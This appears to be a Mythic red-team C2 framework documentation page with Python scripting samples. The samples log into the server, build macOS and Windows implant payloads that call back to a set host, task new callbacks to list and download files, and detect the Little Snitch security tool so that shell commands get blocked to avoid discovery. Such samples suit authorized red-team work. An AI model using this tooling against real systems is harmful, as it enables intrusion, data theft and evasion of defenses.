Mythic Documentation
Search…
Scripting Examples
What is this page?
This is a small repository of sample code doing common scripting actions to serve as a reference for operators and developers.
Assumptions
This page assumes that every script has the same following basic outline and will only reference the main script driver (the
scripting function) and any additional functions created to help support the desired outcome:1
from mythic import mythic_rest
2
from sys import exit
3
from os import system
4
import asyncio
5
​
6
​
7
async def scripting():
8
# sample login
9
# we'll always include this function
10
11
​
12
# everything below here is expected as a staple at the end of your program
13
# this launches the functions asynchronously and keeps the program running while long-running tasks are going
14
async def main():
15
await scripting()
16
try:
17
while True:
18
pending = asyncio.Task.all_tasks()
19
plist = []
20
for p in pending:
21
if p._coro.__name__ != "main" and p._state == "PENDING":
22
plist.append(p)
23
if len(plist) == 0:
24
exit(0)
25
else:
26
await asyncio.gather(*plist)
27
except KeyboardInterrupt:
28
pending = asyncio.Task.all_tasks()
29
for t in pending:
30
t.cancel()
31
​
32
loop = asyncio.get_event_loop()
33
loop.run_until_complete(main())
Copied!
Logging in and getting info about our operator:
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
me = await mythic.get_self()
15
await mythic_rest.json_print(me) # information about us
16
my_op = await mythic.get_current_operation_info()
17
await mythic_rest.json_print(my_op) # information about our current operation
Copied!
Creating and downloading an apfell payload:
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
await mythic.set_or_create_apitoken()
15
# define what our payload should be
16
p = mythic_rest.Payload(
17
# what payload type is it
18
payload_type="apfell",
19
# define non-default c2 profile variables
20
c2_profiles={
21
"http":[
22
{"name": "callback_host", "value": "http://192.168.205.151"},
23
{"name": "callback_interval", "value": 4}
24
]
25
},
26
# give our payload a description if we want
27
tag="test build",
28
selected_os="macOS",
29
# if we want to only include specific commands, put them here:
30
#commands=["cmd1", "cmd2", "cmd3"],
31
# what do we want the payload to be called
32
filename="scripted_apfell.js")
33
print("[+] Creating new apfell payload")
34
# create the payload and include all commands
35
# if we define commands in the payload definition, then remove the all_commands=True piece
36
resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
37
print("[*] Downloading apfell payload")
38
# payload_contents is now the raw bytes of the payload
39
payload_contents = await mythic.download_payload(resp.response)
40
with open("my_output", "wb") as f:
41
f.write(payload_contents) # write out to disk
Copied!
Creating an atlas payload:
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
await mythic.set_or_create_apitoken()
15
p = mythic_rest.Payload(
16
payload_type="atlas",
17
c2_profiles={
18
"http":[
19
{"name": "callback_host", "value": "http://192.168.205.151"},
20
{"name": "callback_interval", "value": 4}
21
]
22
},
23
build_parameters=[
24
{
25
"name": "version", "value": 4.0
26
},
27
{
28
"name": "output_type", "value": "WinExe"
29
}
30
],
31
tag=".NET EXE",
32
selected_os="Windows",
33
filename="atlas.exe")
34
resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
35
payload_contents = await mythic.download_payload(resp.response)
Copied!
Creating users and adding them to an operation:
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
await mythic.set_or_create_apitoken()
15
# define our operator
16
new_operator = mythic_rest.Operator(username="new_operator", password="password1234")
17
# create them
18
new_operator_resp = await mythic.create_operator(new_operator)
19
# reference our operation
20
operation = mythic_rest.Operation(name="Operation Chimera")
21
# add the user to our operation
22
await mythic.add_or_update_operator_for_operation(operation=operation, operator=new_operator_resp.response)
Copied!
Take actions on new callback:
This script waits for new callbacks, then executes a function which:
- Issues the
lscommand, parses that output for specific files and if they exist, downloads them - Issues the
list_appsfunction and searches for dangerous processes. If one is found, gets/creates a new blocked command list and applies it to the operators
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
await mythic.set_or_create_apitoken()
15
# define a function to execute on new callback
16
await mythic.listen_for_new_callbacks(analyze_callback)
17
18
async def analyze_callback(mythic, callback):
19
# function gets an intance of mythic and the callback object
20
try:
21
# create a new task to execute on this callback
22
task = mythic_rest.Task(
23
callback=callback, command="ls", params="."
24
)
25
print("[+] got new callback, issuing ls")
26
submit = await mythic.create_task(task, return_on="completed")
27
print("[*] waiting for ls results...")
28
# wait up to 20s for the task to finish and get all the responses from it
29
results = await mythic.gather_task_responses(submit.response.id, timeout=20)
30
# results is now an array of responses
31
folder = json.loads(results[0].response)
32
print("[*] going through results looking for interesting files...")
33
for f in folder["files"]:
34
if f["name"] == "apfellserver":
35
task = mythic_rest.Task(
36
callback=callback, command="download", params="apfellserver"
37
)
38
print("[+] found an interesting file, tasking it for download")
39
await mythic.create_task(task, return_on="submitted")
40
task = mythic_rest.Task(
41
callback=callback, command="list_apps"
42
)
43
print("[+] tasking callback to list running applications")
44
# return_on="submitted" means don't wait for responses
45
list_apps_submit = await mythic.create_task(task, return_on="submitted")
46
print("[*] waiting for list_apps results...")
47
# instead, we'll manually gather tasks until the task is completed or errors out
48
results = await mythic.gather_task_responses(list_apps_submit.response.id)
49
# gather responses returns an array of responses
50
apps = json.loads(results[0].response)
51
print("[*] going through results looking for dangerous processes...")
52
for a in apps:
53
if "Little Snitch Agent" in a["name"]:
54
list_apps_submit.response.comment = "Auto processed, created alert on Little Snitch Agent, updating block lists"
55
await mythic.set_comment_on_task(list_apps_submit.response)
56
print("[+] found a dangerous process! Little Snitch Agent - sending alert to operators")
57
await mythic.create_event_message(message=mythic_rest.EventMessage(message="LITTLE SNITCH DETECTED on {}".format(callback.host), level='warning'))
58
resp = await mythic.get_all_disabled_commands_profiles()
59
print("[+] Getting/creating disabled command profile to prevent bad-opsec commands based on dangerous processes")
60
snitchy_block_list_exists = False
61
for cur_dcp in resp.response:
62
if cur_dcp.name == "snitchy block list":
63
snitchy_block_list_exists = True
64
dcp = cur_dcp
65
if not snitchy_block_list_exists:
66
dcp = mythic_rest.DisabledCommandsProfile(name="snitchy block list", payload_types=[
67
PayloadType(ptype="apfell", commands=["shell", "shell_elevated"]),
68
PayloadType(ptype="poseidon", commands=["shell"])
69
])
70
resp = await mythic.create_disabled_commands_profile(dcp)
71
current_operation = (await mythic.get_current_operation_info()).response
72
for member in current_operation.members:
73
print("[*] updating block list for {}".format(member.username))
74
resp = await mythic.update_disabled_commands_profile_for_operator(profile=dcp, operator=member, operation=current_operation)
75
​
76
except Exception as e:
77
print(str(e))
Copied!
Send a warning message for the operation:
1
from mythic import mythic_rest
2
async def scripting():
3
# sample login
4
mythic = mythic_rest.Mythic(
5
username="mythic_admin",
6
password="mythic_password",
7
server_ip="192.168.205.151",
8
server_port="7443",
9
ssl=True,
10
global_timeout=-1,
11
)
12
print("[+] Logging into Mythic")
13
await mythic.login()
14
await mythic.set_or_create_apitoken()
15
await mythic.create_event_message(message=mythic_rest.EventMessage(message="DANGER, WILL ROBINSON", level='warning'))
Copied!
Last modified 7mo ago